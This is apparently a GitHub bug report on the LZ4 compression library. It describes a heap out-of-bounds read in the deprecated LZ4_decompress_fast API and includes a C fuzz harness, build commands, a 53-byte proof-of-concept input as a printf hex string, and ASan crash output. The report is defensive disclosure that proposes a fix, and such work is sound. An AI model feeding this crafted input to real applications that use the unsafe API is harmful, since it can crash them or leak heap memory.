[Bug]Input-side heap OOB read in LZ4_decompress_fast family (deprecated unsafe API) - CWE-125
Describe the bug
LZ4_decompress_fast / LZ4_decompress_fast_usingDict are the deprecated, unsafe decompression APIs (marked deprecated and unsafe in lib/lz4.h). They internally dispatch to LZ4_decompress_unsafe_generic (lib/lz4.c:1879), which does not know the input size and assumes the input is well-formed. The decode loop reads past the end of the input buffer in several places with no bound check against the source end:
lib/lz4.c:1899— token byte readlib/lz4.c:1908— bulk literal copy viaLZ4_memmove(op, ip, ll)lib/lz4.c:1861/1905/1926—read_long_length_no_check, ado { ... } while (ip[0] == 255)loop that accumulates 255s and never checksipagainst the input endlib/lz4.c:1921— match-offset readLZ4_readLE16(ip)
Feeding a malformed compressed block to LZ4_decompress_fast results in an input-side heap out-of-bounds read (ASan reports use-after-poison / heap-buffer-overflow).
Affected versions: LZ4 v1.10.0 (HEAD 0774d05 "Fix read oob")
Expected behavior
The deprecated LZ4_decompress_fast family is documented as unsafe and assumes well-formed input. However, an application that passes untrusted compressed data to these APIs (even accidentally, e.g. by using a legacy wrapper) currently triggers an ASan-detectable out-of-bounds read. At minimum, the unsafe decompressor should not silently read arbitrary heap bytes past the input; callers should be steered to LZ4_decompress_safe, which does perform input-side bounds checking via read_variable_length with an ilimit guard.
To Reproduce
Clone LZ4 and check out the affected commit:
git clone https://github.com/lz4/lz4.git cd lz4 git checkout 0774d05Build
liblz4.awith ASan + UBSan (clang):make clean make CC=clang CFLAGS="-O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer" liblz4.aSave this harness as
harness.c(feeds bytes[8..]of the input toLZ4_decompress_fast; the first 8 bytes are little-endian seed fields that deriveoriginalSize):#include <stddef.h> #include <stdint.h> #include <stdlib.h> #include "lz4.h" static uint32_t FUZZ_readLE32(const uint8_t* p) { return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); } int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) { if (size < 8) return 0; uint32_t seed0 = FUZZ_readLE32(data); uint32_t originalSize = (uint32_t)(((uint64_t)seed0 * (uint64_t)(4 * size + 1)) >> 32); const char* src = (const char*)(data + 8); size_t srcSize = size - 8; char* dst = (char*)malloc((size_t)originalSize + 64); if (!dst) return 0; LZ4_decompress_fast(src, dst, (int)originalSize); free(dst); return 0; }Compile the reproducer (links liblz4 + a minimal driver):
clang -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer \ -I lib harness.c lib/liblz4.a -o lz4_decompress_fast_repro -fsanitize=fuzzer,address,undefined -lmSave the POC (53 bytes) and run:
printf '\xbb\x0c\x61\xdb\x57\xe9\xff\xff\xff\x22\x22\x4d\x18\x64\x40\x49\x0c\x02\x00\x00\x00\x00\x50\x2a\x4d\x18\x04\x00\x00\x00\xde\xad\xbe\xef\x04\x22\x4d\x18\x40\x40\xc0\x00\x00\x00\x00\x50\x2a\x4d\x18\x00\x00\x00\x00' > poc.bin ASAN_OPTIONS=detect_leaks=0 ./lz4_decompress_fast_repro -runs=1 poc.binThe POC layout:
[0..3]=0xbb0c61db(LE) derivesoriginalSize;[4..7]= reserved;[8..]= the malformed compressed block whose first token0xff(high nibble = 15 → long literal) is followed by0xff 0xff 0x22..., so the extended literal length makesLZ4_memmoveread ~49 bytes past the end ofsrc.See error:
==ERROR: AddressSanitizer: use-after-poison on address ... at pc ... READ of size 14 at ... thread T0 #0 __asan_memmove (asan_interceptors_memintrinsics.cpp:71) #1 LZ4_decompress_unsafe_generic /src/lz4/lib/lz4.c:1908:13 #2 LZ4_decompress_fast_extDict /src/lz4/lib/lz4.c:2567:12 #3 LLVMFuzzerTestOneInput harness.c:141- Replay exit code:
1(ASan abort) - Deterministic: yes — the 53-byte input reproduces reliably (30+ distinct crash inputs confirmed)
- Replay exit code:
System
- OS: Linux (also reproducible on macOS/Windows with clang)
- Version: LZ4 v1.10.0, HEAD
0774d05("Fix read oob") - Compiler: clang (ASan + UBSan,
-fno-sanitize-recover=all) - Build System: Makefile (
make liblz4.a) - Other hardware specs: n/a (any x86-64)
Additional context
- The same root cause is reachable via multiple read sites in
LZ4_decompress_unsafe_generic(token read atlz4.c:1899, literal memmove atlz4.c:1908, long-length extension atlz4.c:1861/1905/1926, match-offsetLZ4_readLE16atlz4.c:1921). Over 30 distinct AFL++ crash inputs were confirmed, all mapping to this one unsafe decompressor. - The safe entry
LZ4_decompress_safeis not affected — it usesread_variable_lengthwith anilimitbound check. This confirms the flaw is specific to the deprecatedLZ4_decompress_fast*family. - Suggested fix: either give
LZ4_decompress_unsafe_generican input-end (ilimit) awareness so every read/copy returns safely whenipcrosses the source boundary, or, per the maintainers' v2.0 plan, remove theLZ4_decompress_fastfamily. Callers should migrate toLZ4_decompress_safe/LZ4_decompress_safe_partialfor untrusted input.
Source: lz4/lz4